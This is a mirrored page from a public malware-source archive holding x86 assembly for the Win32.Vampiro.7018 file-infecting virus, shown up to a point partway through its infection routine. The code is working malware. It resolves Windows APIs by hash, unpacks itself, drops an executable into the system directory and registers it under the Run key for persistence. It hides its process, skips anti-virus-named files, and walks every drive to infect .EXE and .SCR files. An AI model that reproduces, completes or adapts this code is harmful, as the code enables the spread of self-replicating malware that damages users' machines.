mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 11:26:11 +00:00
4044 lines
116 KiB
NASM
4044 lines
116 KiB
NASM
|
|
|||
|
|
; Win32.Vampiro.7018
|
|||
|
|
;
|
|||
|
|
; + UEP
|
|||
|
|
; + POLY
|
|||
|
|
; + RESIDENT
|
|||
|
|
; + SFC Check
|
|||
|
|
; + MAZER FUCKER ALL INFECT
|
|||
|
|
;
|
|||
|
|
; Small period of writing. Only 2 weeks.
|
|||
|
|
;
|
|||
|
|
; Use :
|
|||
|
|
; - [ETMS] v0.36 by b0z0/iKX [bug fixed]
|
|||
|
|
; - Length-Disassembler Engine by Z0mbie
|
|||
|
|
; - aPLib v0.22b by Joergen Ibsen / Jibz
|
|||
|
|
; - Source of Win32.Vampiro by LordDark
|
|||
|
|
; - Win32.Libertine by <NeverLoved> [SSR]
|
|||
|
|
; - SFC library by GriYo
|
|||
|
|
;
|
|||
|
|
; and thx 2 other peoplz
|
|||
|
|
;
|
|||
|
|
; <x> Ivan
|
|||
|
|
;
|
|||
|
|
|
|||
|
|
%OUT Hey man, you can't comiple it!!!
|
|||
|
|
%OUT You have already compiled...
|
|||
|
|
.err
|
|||
|
|
|
|||
|
|
.586
|
|||
|
|
|
|||
|
|
zcall macro api
|
|||
|
|
extrn api: proc
|
|||
|
|
call api
|
|||
|
|
endm
|
|||
|
|
|
|||
|
|
CRC32_init equ 0EDB88320h
|
|||
|
|
CRC32_num equ 0FFFFFFFFh
|
|||
|
|
|
|||
|
|
CRC32_eax macro string
|
|||
|
|
db 0B8h
|
|||
|
|
CRC32 string
|
|||
|
|
endm
|
|||
|
|
|
|||
|
|
CRC32 macro string
|
|||
|
|
crcReg = CRC32_num
|
|||
|
|
irpc _x,<string>
|
|||
|
|
ctrlByte = '&_x&' xor (crcReg and 0FFh)
|
|||
|
|
crcReg = crcReg shr 8
|
|||
|
|
rept 8
|
|||
|
|
ctrlByte = (ctrlByte shr 1) xor (CRC32_init * (ctrlByte and 1))
|
|||
|
|
endm
|
|||
|
|
crcReg = crcReg xor ctrlByte
|
|||
|
|
endm
|
|||
|
|
dd crcReg
|
|||
|
|
endm
|
|||
|
|
|
|||
|
|
import_beg macro kernel
|
|||
|
|
db '&kernel&',0
|
|||
|
|
endm
|
|||
|
|
|
|||
|
|
import_nam macro name
|
|||
|
|
CRC32 &name&
|
|||
|
|
local b
|
|||
|
|
b=0
|
|||
|
|
irpc a,<name>
|
|||
|
|
IF b EQ 0
|
|||
|
|
db '&a&'
|
|||
|
|
ENDIF
|
|||
|
|
b=b+1
|
|||
|
|
endm
|
|||
|
|
&name& dd 0
|
|||
|
|
endm
|
|||
|
|
|
|||
|
|
import_end macro
|
|||
|
|
dd 0
|
|||
|
|
endm
|
|||
|
|
|
|||
|
|
MAX_PATH = 260
|
|||
|
|
|
|||
|
|
find_str struc
|
|||
|
|
dwFileAttributes dd ?
|
|||
|
|
ftCreationTime dq ?
|
|||
|
|
ftLastAccessTime dq ?
|
|||
|
|
ftLastWriteTime dq ?
|
|||
|
|
nFileSizeHigh dd ?
|
|||
|
|
nFileSizeLow dd ?
|
|||
|
|
dwReserved0 dd ?
|
|||
|
|
dwReserved1 dd ?
|
|||
|
|
cFileName db MAX_PATH dup (?)
|
|||
|
|
cAlternateFileName db 14 dup (?)
|
|||
|
|
ends
|
|||
|
|
|
|||
|
|
locals __
|
|||
|
|
.model flat
|
|||
|
|
.code
|
|||
|
|
db ?
|
|||
|
|
.data
|
|||
|
|
include x.inc
|
|||
|
|
start proc
|
|||
|
|
call get_delta
|
|||
|
|
call set_seh
|
|||
|
|
mov esp, [esp.8]
|
|||
|
|
jmp exit
|
|||
|
|
set_seh:
|
|||
|
|
sub eax, eax
|
|||
|
|
push 4 ptr fs:[eax]
|
|||
|
|
mov 4 ptr fs:[eax], esp
|
|||
|
|
lea eax, [ebp.start]
|
|||
|
|
mov 4 ptr [ebp.vl_of], eax
|
|||
|
|
call GetKernel32
|
|||
|
|
mov 4 ptr [ebp.k32], eax
|
|||
|
|
call import
|
|||
|
|
push 0
|
|||
|
|
call [ebp.GetModuleHandleA]
|
|||
|
|
add eax, 4 ptr [ebp.host32_2]
|
|||
|
|
mov 4 ptr [ebp.host32_2], eax
|
|||
|
|
lea edx, [ebp.reloc_jmp]
|
|||
|
|
sub eax, edx
|
|||
|
|
mov 4 ptr [ebp.reloc_jmp+1-5], eax
|
|||
|
|
push 0 5
|
|||
|
|
lea eax, [ebp.saved]
|
|||
|
|
push eax
|
|||
|
|
mov eax, 4 ptr [ebp.host32_2]
|
|||
|
|
push eax
|
|||
|
|
call [ebp.GetCurrentProcess]
|
|||
|
|
push eax
|
|||
|
|
call [ebp.WriteProcessMemory]
|
|||
|
|
push _vl 0
|
|||
|
|
call [ebp.GlobalAlloc]
|
|||
|
|
push eax
|
|||
|
|
xchg eax, edi
|
|||
|
|
lea esi, [ebp.start]
|
|||
|
|
mov ecx, offset packed - start
|
|||
|
|
lea eax, [ebp+__exit]
|
|||
|
|
push eax
|
|||
|
|
lea eax, [edi+__next-start]
|
|||
|
|
push eax
|
|||
|
|
rep movsb
|
|||
|
|
lea eax, [ebp.packed]
|
|||
|
|
push edi
|
|||
|
|
push eax
|
|||
|
|
call _aP_depack_asm
|
|||
|
|
ret
|
|||
|
|
__next:
|
|||
|
|
call get_delta
|
|||
|
|
push eax eax esp
|
|||
|
|
call [ebp.GetSystemTimeAsFileTime]
|
|||
|
|
pop eax
|
|||
|
|
pop edx
|
|||
|
|
add eax, edx
|
|||
|
|
mov [ebp.seed], eax
|
|||
|
|
cmp 1 ptr [ebp.is_drop], 1
|
|||
|
|
mov 1 ptr [ebp.is_drop], 0
|
|||
|
|
jz __k
|
|||
|
|
lea eax, [ebp.Vampiro]
|
|||
|
|
push eax
|
|||
|
|
call [ebp.GlobalFindAtomA]
|
|||
|
|
movzx eax, ax
|
|||
|
|
test eax, eax
|
|||
|
|
jnz __x
|
|||
|
|
call create_dropper
|
|||
|
|
__x:
|
|||
|
|
ret
|
|||
|
|
__k:
|
|||
|
|
lea eax, [ebp.Vampiro]
|
|||
|
|
push eax
|
|||
|
|
call [ebp.GlobalAddAtomA]
|
|||
|
|
call hide
|
|||
|
|
push 10000
|
|||
|
|
call [ebp.Sleep]
|
|||
|
|
call infect_all
|
|||
|
|
lea eax, [ebp.Vampiro]
|
|||
|
|
push eax
|
|||
|
|
call [ebp.GlobalFindAtomA]
|
|||
|
|
movzx esi, ax
|
|||
|
|
push 20
|
|||
|
|
pop ecx
|
|||
|
|
__delete:
|
|||
|
|
push esi
|
|||
|
|
call [ebp.GlobalDeleteAtom]
|
|||
|
|
test eax, eax
|
|||
|
|
loopne __delete
|
|||
|
|
ret
|
|||
|
|
__exit:
|
|||
|
|
call [ebp.GlobalFree]
|
|||
|
|
exit:
|
|||
|
|
pop 4 ptr fs:[0]
|
|||
|
|
pop eax
|
|||
|
|
popad
|
|||
|
|
popf
|
|||
|
|
db 0E9H
|
|||
|
|
dd 0
|
|||
|
|
reloc_jmp:
|
|||
|
|
endp
|
|||
|
|
|
|||
|
|
_aP_depack_asm:
|
|||
|
|
push ebp
|
|||
|
|
mov ebp, esp
|
|||
|
|
pushad
|
|||
|
|
push ebp
|
|||
|
|
|
|||
|
|
mov esi, [ebp + 8] ; C calling convention
|
|||
|
|
mov edi, [ebp + 12]
|
|||
|
|
|
|||
|
|
cld
|
|||
|
|
mov dl, 80h
|
|||
|
|
|
|||
|
|
literal:
|
|||
|
|
movsb
|
|||
|
|
nexttag:
|
|||
|
|
call getbit
|
|||
|
|
jnc literal
|
|||
|
|
|
|||
|
|
xor ecx, ecx
|
|||
|
|
call getbit
|
|||
|
|
jnc codepair
|
|||
|
|
xor eax, eax
|
|||
|
|
call getbit
|
|||
|
|
jnc shortmatch
|
|||
|
|
mov al, 10h
|
|||
|
|
getmorebits:
|
|||
|
|
call getbit
|
|||
|
|
adc al, al
|
|||
|
|
jnc getmorebits
|
|||
|
|
jnz domatch_with_inc
|
|||
|
|
stosb
|
|||
|
|
jmp short nexttag
|
|||
|
|
codepair:
|
|||
|
|
call getgamma_no_ecx
|
|||
|
|
dec ecx
|
|||
|
|
loop normalcodepair
|
|||
|
|
mov eax,ebp
|
|||
|
|
call getgamma
|
|||
|
|
jmp short domatch
|
|||
|
|
|
|||
|
|
shortmatch:
|
|||
|
|
lodsb
|
|||
|
|
shr eax, 1
|
|||
|
|
jz donedepacking
|
|||
|
|
adc ecx, 2
|
|||
|
|
mov ebp, eax
|
|||
|
|
jmp short domatch
|
|||
|
|
|
|||
|
|
normalcodepair:
|
|||
|
|
xchg eax, ecx
|
|||
|
|
dec eax
|
|||
|
|
shl eax, 8
|
|||
|
|
lodsb
|
|||
|
|
mov ebp, eax
|
|||
|
|
call getgamma
|
|||
|
|
cmp eax, 32000
|
|||
|
|
jae domatch_with_2inc
|
|||
|
|
cmp eax, 1280
|
|||
|
|
jae domatch_with_inc
|
|||
|
|
cmp eax, 7fh
|
|||
|
|
ja domatch
|
|||
|
|
|
|||
|
|
domatch_with_2inc:
|
|||
|
|
inc ecx
|
|||
|
|
|
|||
|
|
domatch_with_inc:
|
|||
|
|
inc ecx
|
|||
|
|
domatch:
|
|||
|
|
push esi
|
|||
|
|
mov esi, edi
|
|||
|
|
sub esi, eax
|
|||
|
|
rep movsb
|
|||
|
|
pop esi
|
|||
|
|
jmp short nexttag
|
|||
|
|
|
|||
|
|
getbit:
|
|||
|
|
add dl, dl
|
|||
|
|
jnz stillbitsleft
|
|||
|
|
mov dl, [esi]
|
|||
|
|
inc esi
|
|||
|
|
adc dl, dl
|
|||
|
|
stillbitsleft:
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
getgamma:
|
|||
|
|
xor ecx, ecx
|
|||
|
|
getgamma_no_ecx:
|
|||
|
|
inc ecx
|
|||
|
|
getgammaloop:
|
|||
|
|
call getbit
|
|||
|
|
adc ecx, ecx
|
|||
|
|
call getbit
|
|||
|
|
jc getgammaloop
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
donedepacking:
|
|||
|
|
pop ebp
|
|||
|
|
sub edi, [ebp + 12]
|
|||
|
|
mov [ebp - 4], edi ; return unpacked length in eax
|
|||
|
|
|
|||
|
|
popad
|
|||
|
|
pop ebp
|
|||
|
|
ret 8
|
|||
|
|
|
|||
|
|
|
|||
|
|
GetKernel32:
|
|||
|
|
call __set_seh
|
|||
|
|
sub eax, eax
|
|||
|
|
mov esp, [esp.8]
|
|||
|
|
dec eax
|
|||
|
|
jmp __exit
|
|||
|
|
__set_seh:
|
|||
|
|
sub eax, eax
|
|||
|
|
push 4 ptr fs:[eax]
|
|||
|
|
mov 4 ptr fs:[eax], esp
|
|||
|
|
mov edx, 4 ptr fs:[0]; get first esp fault
|
|||
|
|
__3:
|
|||
|
|
mov eax, [edx+4] ; offset fault
|
|||
|
|
mov edx, [edx] ; next fault ofz
|
|||
|
|
sub ax, ax
|
|||
|
|
__2:
|
|||
|
|
cmp 1 ptr [eax], 'M'
|
|||
|
|
jz __1
|
|||
|
|
sub eax, 10000h
|
|||
|
|
jmp __2
|
|||
|
|
__1:
|
|||
|
|
movzx esi, 2 ptr [eax+3Ch]
|
|||
|
|
add esi, eax
|
|||
|
|
cmp 1 ptr [esi], 'P'
|
|||
|
|
jnz __3
|
|||
|
|
mov esi, [esi+78h] ; no export
|
|||
|
|
test esi, esi
|
|||
|
|
jz __3
|
|||
|
|
mov esi, [esi+eax+0Ch]
|
|||
|
|
cmp 4 ptr [esi+eax], 'NREK'
|
|||
|
|
jnz __3
|
|||
|
|
__exit:
|
|||
|
|
pop 4 ptr fs:[0]
|
|||
|
|
pop edx
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
import_table:
|
|||
|
|
import_beg kernel32
|
|||
|
|
import_nam _lopen
|
|||
|
|
import_nam _lcreat
|
|||
|
|
import_nam ReadFile
|
|||
|
|
import_nam WriteFile
|
|||
|
|
import_nam CloseHandle
|
|||
|
|
import_nam CreateProcessA
|
|||
|
|
import_nam SetFileAttributesA
|
|||
|
|
import_nam GetFileAttributesA
|
|||
|
|
import_nam GetFileTime
|
|||
|
|
import_nam GetProcAddress
|
|||
|
|
import_nam SetFileTime
|
|||
|
|
import_nam SetEndOfFile
|
|||
|
|
import_nam GetFileSize
|
|||
|
|
import_nam GetCurrentProcessId
|
|||
|
|
import_nam SetFilePointer
|
|||
|
|
import_nam WriteProcessMemory
|
|||
|
|
import_nam GetCurrentProcess
|
|||
|
|
import_nam GlobalAlloc
|
|||
|
|
import_nam GlobalFree
|
|||
|
|
import_nam FindClose
|
|||
|
|
import_nam FindFirstFileA
|
|||
|
|
import_nam FindNextFileA
|
|||
|
|
import_nam FreeLibrary
|
|||
|
|
import_nam SetCurrentDirectoryA
|
|||
|
|
import_nam GetDriveTypeA
|
|||
|
|
import_nam GetTempPathA
|
|||
|
|
import_nam GetSystemDirectoryA
|
|||
|
|
import_nam SetErrorMode
|
|||
|
|
import_nam Sleep
|
|||
|
|
import_nam GlobalFindAtomA
|
|||
|
|
import_nam GlobalAddAtomA
|
|||
|
|
import_nam GlobalDeleteAtom
|
|||
|
|
import_nam GetSystemTimeAsFileTime
|
|||
|
|
import_nam GetCurrentDirectoryA
|
|||
|
|
import_nam MultiByteToWideChar
|
|||
|
|
import_end
|
|||
|
|
import_beg advapi32.dll
|
|||
|
|
import_nam RegSetValueExA
|
|||
|
|
import_nam RegCreateKeyExA
|
|||
|
|
import_nam RegCloseKey
|
|||
|
|
import_end
|
|||
|
|
import_end
|
|||
|
|
|
|||
|
|
get_delta proc
|
|||
|
|
call $+5
|
|||
|
|
delta:
|
|||
|
|
cld
|
|||
|
|
pop ebp
|
|||
|
|
sub ebp, offset delta
|
|||
|
|
ret
|
|||
|
|
endp
|
|||
|
|
|
|||
|
|
get_proc proc
|
|||
|
|
push ebp
|
|||
|
|
; in:
|
|||
|
|
; eax - CRC32
|
|||
|
|
; ebx - DLL offset
|
|||
|
|
; dl - first char
|
|||
|
|
; out:
|
|||
|
|
; eax - API address
|
|||
|
|
; [ecx+ebx] - offset API address in table
|
|||
|
|
; ebx - offset DLL
|
|||
|
|
movzx edi, 2 ptr [ebx+3Ch]
|
|||
|
|
mov edi, [edi+78h+ebx]
|
|||
|
|
mov ecx, [edi+18h+ebx]
|
|||
|
|
mov esi, [edi+20h+ebx]
|
|||
|
|
__1:
|
|||
|
|
mov ebp, [esi+ebx]
|
|||
|
|
add ebp, ebx
|
|||
|
|
cmp 1 ptr [ebp], dl
|
|||
|
|
jnz __2
|
|||
|
|
push ebx ecx
|
|||
|
|
; use ebx, ecx
|
|||
|
|
; ebp - offset to name'z
|
|||
|
|
xor ebx, ebx
|
|||
|
|
dec ebx
|
|||
|
|
__5:
|
|||
|
|
xor bl, 1 ptr [ebp]
|
|||
|
|
inc ebp
|
|||
|
|
mov cl, 7
|
|||
|
|
__3:
|
|||
|
|
shr ebx, 1
|
|||
|
|
jnc __4
|
|||
|
|
xor ebx, CRC32_init
|
|||
|
|
__4:
|
|||
|
|
dec cl
|
|||
|
|
jns __3
|
|||
|
|
cmp 1 ptr [ebp], 0
|
|||
|
|
jnz __5
|
|||
|
|
cmp eax, ebx
|
|||
|
|
pop ecx ebx
|
|||
|
|
jz __6
|
|||
|
|
__2:
|
|||
|
|
add esi, 4
|
|||
|
|
loop __1
|
|||
|
|
__6:
|
|||
|
|
sub ecx, [edi+18h+ebx]
|
|||
|
|
neg ecx
|
|||
|
|
add ecx, ecx
|
|||
|
|
add ecx, [edi+24h+ebx]
|
|||
|
|
add ecx, ebx
|
|||
|
|
movzx ecx, 2 ptr [ecx]
|
|||
|
|
shl ecx, 2
|
|||
|
|
add ecx, [edi+1Ch+ebx]
|
|||
|
|
mov eax, [ecx+ebx]
|
|||
|
|
add eax, ebx
|
|||
|
|
pop ebp
|
|||
|
|
ret
|
|||
|
|
endp
|
|||
|
|
|
|||
|
|
import proc
|
|||
|
|
mov ebx, [ebp.k32]
|
|||
|
|
CRC32_eax GetModuleHandleA
|
|||
|
|
mov dl, 'G'
|
|||
|
|
call get_proc
|
|||
|
|
mov [ebp.GetModuleHandleA], eax
|
|||
|
|
CRC32_eax LoadLibraryA
|
|||
|
|
mov dl, 'L'
|
|||
|
|
call get_proc
|
|||
|
|
mov [ebp.LoadLibraryA], eax
|
|||
|
|
lea esi, [ebp.import_table]
|
|||
|
|
__1:
|
|||
|
|
push esi
|
|||
|
|
call [ebp.GetModuleHandleA]
|
|||
|
|
test eax, eax
|
|||
|
|
jnz __2
|
|||
|
|
; if library not load ...
|
|||
|
|
push esi
|
|||
|
|
call [ebp.LoadLibraryA]
|
|||
|
|
__2:
|
|||
|
|
xchg eax, ebx
|
|||
|
|
__3:
|
|||
|
|
lodsb
|
|||
|
|
test al, al
|
|||
|
|
jnz __3
|
|||
|
|
__4:
|
|||
|
|
lodsd
|
|||
|
|
test eax, eax
|
|||
|
|
jz __5
|
|||
|
|
mov dl, [esi]
|
|||
|
|
inc esi
|
|||
|
|
push esi
|
|||
|
|
call get_proc
|
|||
|
|
pop edi
|
|||
|
|
stosd
|
|||
|
|
mov esi, edi
|
|||
|
|
jmp __4
|
|||
|
|
__5:
|
|||
|
|
cmp [esi], eax
|
|||
|
|
jnz __1
|
|||
|
|
ret
|
|||
|
|
endp
|
|||
|
|
|
|||
|
|
GetModuleHandleA dd 0
|
|||
|
|
LoadLibraryA dd 0
|
|||
|
|
k32 dd 0BFF70000h
|
|||
|
|
|
|||
|
|
extra_data:
|
|||
|
|
|
|||
|
|
is_drop db 0
|
|||
|
|
|
|||
|
|
saved:
|
|||
|
|
ret
|
|||
|
|
db 4 dup (90h)
|
|||
|
|
|
|||
|
|
host32_2:
|
|||
|
|
dd offset host32-00400000h
|
|||
|
|
|
|||
|
|
extra_len equ offset $-extra_data
|
|||
|
|
|
|||
|
|
vl_sz dd 7016+2
|
|||
|
|
vl_of dd 0
|
|||
|
|
|
|||
|
|
org $-2
|
|||
|
|
db '^^'
|
|||
|
|
|
|||
|
|
|
|||
|
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
|
|
|||
|
|
packed:
|
|||
|
|
|
|||
|
|
exec:
|
|||
|
|
sub esp, 16
|
|||
|
|
mov ecx, esp
|
|||
|
|
sub esp, 64
|
|||
|
|
mov ebx, esp
|
|||
|
|
mov 1 ptr [ebx], 64
|
|||
|
|
push ecx ebx 0 0 0 0 0 0 0 eax
|
|||
|
|
call [ebp.CreateProcessA]
|
|||
|
|
add esp, 16+64
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
|
|||
|
|
host32_1:
|
|||
|
|
dd 0
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
Vampiro equ this byte
|
|||
|
|
name_atom db 'Vampiro',0
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
sfc proc
|
|||
|
|
; call log_it
|
|||
|
|
mov esi, edx
|
|||
|
|
push 'LLD'
|
|||
|
|
push '.CFS'
|
|||
|
|
push esp
|
|||
|
|
call [ebp.LoadLibraryA]
|
|||
|
|
add esp, 8
|
|||
|
|
test eax, eax
|
|||
|
|
jz __1
|
|||
|
|
push eax
|
|||
|
|
sub esp, 100h+4
|
|||
|
|
push esp 100h+4
|
|||
|
|
call [ebp.GetCurrentDirectoryA]
|
|||
|
|
lea edi, [esp+eax]
|
|||
|
|
mov al, '\'
|
|||
|
|
cmp 1 ptr [edi-1], al
|
|||
|
|
jz __2
|
|||
|
|
stosb
|
|||
|
|
__2: movsb
|
|||
|
|
cmp 1 ptr [esi-1], 0
|
|||
|
|
jnz __2
|
|||
|
|
mov eax, esp
|
|||
|
|
sub esp, 200h+8
|
|||
|
|
mov edx, esp
|
|||
|
|
push 100h+4
|
|||
|
|
push edx
|
|||
|
|
push -1
|
|||
|
|
push eax
|
|||
|
|
push 0
|
|||
|
|
push 0
|
|||
|
|
call [ebp.MultiByteToWideChar]
|
|||
|
|
call __3
|
|||
|
|
db 'SfcIsFileProtected',0
|
|||
|
|
__3: push 4 ptr [esp+4+200h+100h+4+8]
|
|||
|
|
call [ebp.GetProcAddress]
|
|||
|
|
test eax, eax
|
|||
|
|
jz __4
|
|||
|
|
push esp 0
|
|||
|
|
call eax
|
|||
|
|
__4: xchg esi, eax
|
|||
|
|
add esp, 200h+100h+8+4
|
|||
|
|
call [ebp.FreeLibrary]
|
|||
|
|
xchg esi, eax
|
|||
|
|
__1: ret
|
|||
|
|
endp
|
|||
|
|
|
|||
|
|
key db 'Software\Microsoft\Windows\CurrentVersion\Run',0
|
|||
|
|
|
|||
|
|
create_dropper proc
|
|||
|
|
sub esp, 100h
|
|||
|
|
mov eax, esp
|
|||
|
|
push 100h
|
|||
|
|
push eax
|
|||
|
|
call [ebp.GetSystemDirectoryA] ; D:\WINDOWS\SYSTEM32
|
|||
|
|
mov 1 ptr [esp+eax], '\'
|
|||
|
|
mov 4 ptr [esp+eax+1], '.DDW'
|
|||
|
|
mov 4 ptr [esp+eax+5], 'EXE'
|
|||
|
|
mov edx, esp
|
|||
|
|
call drop_gen
|
|||
|
|
cmp eax, -1
|
|||
|
|
jz __3x
|
|||
|
|
mov edx, esp
|
|||
|
|
mov 1 ptr [ebp.is_drop], 1
|
|||
|
|
call infect_it
|
|||
|
|
mov eax, esp
|
|||
|
|
call exec
|
|||
|
|
mov esi, esp
|
|||
|
|
push eax
|
|||
|
|
push eax
|
|||
|
|
mov edi, esp
|
|||
|
|
lea edx, [edi.4]
|
|||
|
|
sub eax, eax
|
|||
|
|
push edx
|
|||
|
|
push edi
|
|||
|
|
push eax
|
|||
|
|
push 0f003fh
|
|||
|
|
push eax
|
|||
|
|
push eax
|
|||
|
|
push eax
|
|||
|
|
lea eax, [ebp+key]
|
|||
|
|
push eax
|
|||
|
|
push 80000002h
|
|||
|
|
call [ebp+RegCreateKeyExA]
|
|||
|
|
test eax, eax
|
|||
|
|
jnz @@x
|
|||
|
|
sub ecx, ecx
|
|||
|
|
mov edx, esi
|
|||
|
|
__x:
|
|||
|
|
mov al, [edx]
|
|||
|
|
inc edx
|
|||
|
|
inc ecx
|
|||
|
|
test al, al
|
|||
|
|
jnz __x
|
|||
|
|
dec ecx
|
|||
|
|
push ecx
|
|||
|
|
push esi
|
|||
|
|
push 1
|
|||
|
|
push 0
|
|||
|
|
lea eax, [ebp+name_atom]
|
|||
|
|
push eax
|
|||
|
|
push 4 ptr [edi]
|
|||
|
|
call [ebp+RegSetValueExA]
|
|||
|
|
push 4 ptr [edi]
|
|||
|
|
call [ebp+RegCloseKey]
|
|||
|
|
@@x:
|
|||
|
|
add esp, 8
|
|||
|
|
jmp __4
|
|||
|
|
__3x:
|
|||
|
|
push esp
|
|||
|
|
push 100h
|
|||
|
|
call [ebp.GetTempPathA] ; C:\WINDOWS\TEMP\
|
|||
|
|
mov 4 ptr [esp+eax], '.DDW'
|
|||
|
|
mov 4 ptr [esp+eax+4], 'EXE'
|
|||
|
|
mov edx, esp
|
|||
|
|
call drop_gen
|
|||
|
|
cmp eax, -1
|
|||
|
|
jz __4
|
|||
|
|
mov edx, esp
|
|||
|
|
mov 1 ptr [ebp.is_drop], 1
|
|||
|
|
call infect_it
|
|||
|
|
mov eax, esp
|
|||
|
|
call exec
|
|||
|
|
__4:add esp, 100h
|
|||
|
|
ret
|
|||
|
|
endp
|
|||
|
|
|
|||
|
|
infect_all proc
|
|||
|
|
push '\:A'
|
|||
|
|
__2:push esp
|
|||
|
|
call [ebp.GetDriveTypeA]
|
|||
|
|
cmp eax, 2
|
|||
|
|
jbe __1
|
|||
|
|
cmp al, 5
|
|||
|
|
jz __1
|
|||
|
|
push esp
|
|||
|
|
call [ebp.SetCurrentDirectoryA]
|
|||
|
|
mov esi, esp
|
|||
|
|
sub esp, ((size find_str) and (not 11b))+4
|
|||
|
|
mov edi, esp
|
|||
|
|
call recsearch
|
|||
|
|
add esp, ((size find_str) and (not 11b))+4
|
|||
|
|
__1:inc 1 ptr [esp]
|
|||
|
|
cmp 1 ptr [esp], 'Z'+1
|
|||
|
|
jnz __2
|
|||
|
|
pop eax
|
|||
|
|
ret
|
|||
|
|
endp
|
|||
|
|
|
|||
|
|
recsearch:
|
|||
|
|
push '*.*'
|
|||
|
|
mov eax, esp
|
|||
|
|
push edi eax
|
|||
|
|
call [ebp.FindFirstFileA]
|
|||
|
|
pop edx
|
|||
|
|
cmp eax, -1
|
|||
|
|
jz __1
|
|||
|
|
xchg eax, ebx
|
|||
|
|
__2:mov eax, esi
|
|||
|
|
sub eax, esp
|
|||
|
|
cmp eax, 0C00h
|
|||
|
|
ja __4
|
|||
|
|
test 1 ptr [edi.dwFileAttributes], 10h
|
|||
|
|
jz __3 ; JZ - not DIR
|
|||
|
|
cmp 1 ptr [edi.cFileName], '.'
|
|||
|
|
jz __4
|
|||
|
|
lea eax, [edi.cFileName]
|
|||
|
|
push eax
|
|||
|
|
call [ebp.SetCurrentDirectoryA]
|
|||
|
|
push ebx
|
|||
|
|
call recsearch
|
|||
|
|
push '..'
|
|||
|
|
push esp
|
|||
|
|
call [ebp.SetCurrentDirectoryA]
|
|||
|
|
pop eax
|
|||
|
|
pop ebx
|
|||
|
|
jmp __4
|
|||
|
|
__3:pusha
|
|||
|
|
lea edx, [edi.cFileName]
|
|||
|
|
mov edi, edx
|
|||
|
|
push -1
|
|||
|
|
pop ecx
|
|||
|
|
sub al, al
|
|||
|
|
repne scasb
|
|||
|
|
mov eax, [edi-4]
|
|||
|
|
and eax, 0DFDFDFDFh
|
|||
|
|
cmp eax, 'EXE' and 0DFDFDFDFh ; .EXE
|
|||
|
|
jz __7
|
|||
|
|
cmp eax, 'RCS' and 0DFDFDFDFh ; .SCR
|
|||
|
|
jnz __6
|
|||
|
|
__7:
|
|||
|
|
call infect_it
|
|||
|
|
push 2000
|
|||
|
|
call [ebp.Sleep]
|
|||
|
|
__6:
|
|||
|
|
popa
|
|||
|
|
__4:
|
|||
|
|
push edi
|
|||
|
|
push ebx
|
|||
|
|
push 500
|
|||
|
|
call [ebp.Sleep]
|
|||
|
|
call [ebp.FindNextFileA]
|
|||
|
|
test eax, eax
|
|||
|
|
jnz __2
|
|||
|
|
push ebx
|
|||
|
|
call [ebp.FindClose]
|
|||
|
|
__1:ret
|
|||
|
|
|
|||
|
|
hide proc
|
|||
|
|
|
|||
|
|
SEM_FAILCRITICALERRORS = 00001h
|
|||
|
|
SEM_NOGPFAULTERRORBOX = 00002h
|
|||
|
|
SEM_NOALIGNMENTFAULTEXCEPT = 00004h
|
|||
|
|
SEM_NOOPENFILEERRORBOX = 08000h
|
|||
|
|
|
|||
|
|
push SEM_FAILCRITICALERRORS or SEM_NOGPFAULTERRORBOX or SEM_NOOPENFILEERRORBOX
|
|||
|
|
call [ebp.SetErrorMode]
|
|||
|
|
call __1
|
|||
|
|
db 'RegisterServiceProcess',0
|
|||
|
|
__1:
|
|||
|
|
push 4 ptr [ebp.k32]
|
|||
|
|
call [ebp.GetProcAddress]
|
|||
|
|
test eax, eax
|
|||
|
|
jz __2
|
|||
|
|
xchg eax, ebx
|
|||
|
|
call [ebp.GetCurrentProcessId]
|
|||
|
|
push 1
|
|||
|
|
push eax
|
|||
|
|
call ebx
|
|||
|
|
__2:
|
|||
|
|
ret
|
|||
|
|
endp
|
|||
|
|
|
|||
|
|
; <20><> <20>ண<EFBFBD><E0AEA3><EFBFBD>:
|
|||
|
|
; - _A
|
|||
|
|
; - VI
|
|||
|
|
; - UN
|
|||
|
|
; - SC
|
|||
|
|
; - NO
|
|||
|
|
; - AV
|
|||
|
|
|
|||
|
|
|
|||
|
|
infect_it proc
|
|||
|
|
call __set_seh
|
|||
|
|
mov esp, [esp.8]
|
|||
|
|
jmp __1
|
|||
|
|
__set_seh:
|
|||
|
|
cld
|
|||
|
|
sub eax, eax
|
|||
|
|
push 4 ptr fs:[eax]
|
|||
|
|
mov 4 ptr fs:[eax], esp
|
|||
|
|
mov ax, [edx]
|
|||
|
|
and eax, 0DFDFh
|
|||
|
|
cmp eax, 'A_' and 0DFDFh
|
|||
|
|
jz __1
|
|||
|
|
cmp eax, 'IV' and 0DFDFh
|
|||
|
|
jz __1
|
|||
|
|
cmp eax, 'NU' and 0DFDFh
|
|||
|
|
jz __1
|
|||
|
|
cmp eax, 'CS' and 0DFDFh
|
|||
|
|
jz __1
|
|||
|
|
cmp eax, 'ON' and 0DFDFh
|
|||
|
|
jz __1
|
|||
|
|
cmp eax, 'VA' and 0DFDFh
|
|||
|
|
jz __1
|
|||
|
|
push edx
|
|||
|
|
call sfc ; EAX == 0 -> OK
|
|||
|
|
pop edx
|
|||
|
|
test eax, eax
|
|||
|
|
jnz __1
|
|||
|
|
call infect
|
|||
|
|
__1:
|
|||
|
|
pop 4 ptr fs:[0]
|
|||
|
|
pop eax
|
|||
|
|
ret
|
|||
|
|
endp
|
|||
|
|
|
|||
|
|
infect proc
|
|||
|
|
; edx - name
|
|||
|
|
call fattrg
|
|||
|
|
cmp eax, -1
|
|||
|
|
jnz __1
|
|||
|
|
__2:
|
|||
|
|
ret
|
|||
|
|
__1: sub ecx, ecx
|
|||
|
|
xchg eax, ecx
|
|||
|
|
call fattrs
|
|||
|
|
test eax, eax
|
|||
|
|
jz __2
|
|||
|
|
push 2
|
|||
|
|
pop eax
|
|||
|
|
call open
|
|||
|
|
cmp eax, -1
|
|||
|
|
xchg eax, ebx
|
|||
|
|
jz __2
|
|||
|
|
push ecx
|
|||
|
|
sub esp, 3*8
|
|||
|
|
mov esi, esp
|
|||
|
